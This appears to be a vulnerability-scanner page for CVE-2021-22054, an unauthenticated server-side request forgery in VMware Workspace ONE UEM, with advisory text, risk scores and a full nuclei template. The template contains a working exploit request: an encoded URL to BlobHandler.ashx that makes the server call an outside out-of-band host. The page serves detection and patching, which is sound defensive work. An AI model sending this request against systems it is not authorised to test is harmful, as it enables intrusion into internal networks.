VMWare Workspace ONE UEM - Server-Side Request Forgery

Exploited in the wild. Listed by CISA on 2026-03-09; known to be used by ransomware.

highseverity

7.5CVSS score

99.7%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

VMware Workspace ONE UEM console 20.0.8 prior to 20.0.8.37, 20.11.0 prior to 20.11.0.40, 21.2.0 prior to 21.2.0.27, and 21.5.0 prior to 21.5.0.37 contain a server-side request forgery vulnerability. This issue may allow a malicious actor with network access to UEM to send their requests without authentication and to gain access to sensitive information.

Impact

An attacker can exploit this vulnerability to send crafted requests to internal resources, potentially leading to unauthorized access or information disclosure.

Fix

Apply the necessary patches or updates provided by VMWare to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/Catalog/BlobHandler.ashx?Url=YQB3AGUAdgAyADoAawB2ADAAOgB4AGwAawBiAEoAbwB5AGMAVwB0AFEAMwB6ADMAbABLADoARQBKAGYAYgBHAE4ATgBDADUARQBBAG0AZQBZ…
Positive when: contains "Interactsh Server" AND status 200

Run it with nuclei: nuclei -id CVE-2021-22054 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-22054

info:
  name: VMWare Workspace ONE UEM - Server-Side Request Forgery
  author: h1ei1
  severity: high
  description: VMware Workspace ONE UEM console 20.0.8 prior to 20.0.8.37, 20.11.0 prior to 20.11.0.40, 21.2.0 prior to 21.2.0.27, and 21.5.0 prior to 21.5.0.37 contain a server-side request forgery vulnerability. This issue may allow a malicious actor with network access to UEM to send their requests without authentication and to gain access to sensitive information.
  impact: |
    An attacker can exploit this vulnerability to send crafted requests to internal resources, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the necessary patches or updates provided by VMWare to fix the vulnerability.
  reference:
    - https://blog.assetnote.io/2022/04/27/vmware-workspace-one-uem-ssrf/
    - https://www.vmware.com/security/advisories/VMSA-2021-0029.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22054
    - https://github.com/fardeen-ahmed/Bug-bounty-Writeups
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-22054
    cwe-id: CWE-918
    epss-score: 0.99677
    epss-percentile: 0.9995
    cpe: cpe:2.3:a:vmware:workspace_one_uem_console:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vmware
    product: workspace_one_uem_console
    fofa-query:
      - banner="/AirWatch/default.aspx" || header="/AirWatch/default.aspx"
      - banner="/airwatch/default.aspx" || header="/airwatch/default.aspx"
  tags: cve2021,cve,vmware,workspace,ssrf,vkev,vuln,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}/Catalog/BlobHandler.ashx?Url=YQB3AGUAdgAyADoAawB2ADAAOgB4AGwAawBiAEoAbwB5AGMAVwB0AFEAMwB6ADMAbABLADoARQBKAGYAYgBHAE4ATgBDADUARQBBAG0AZQBZAE4AUwBiAFoAVgBZAHYAZwBEAHYAdQBKAFgATQArAFUATQBkAGcAZAByAGMAMgByAEUAQwByAGIAcgBmAFQAVgB3AD0A"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Interactsh Server"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from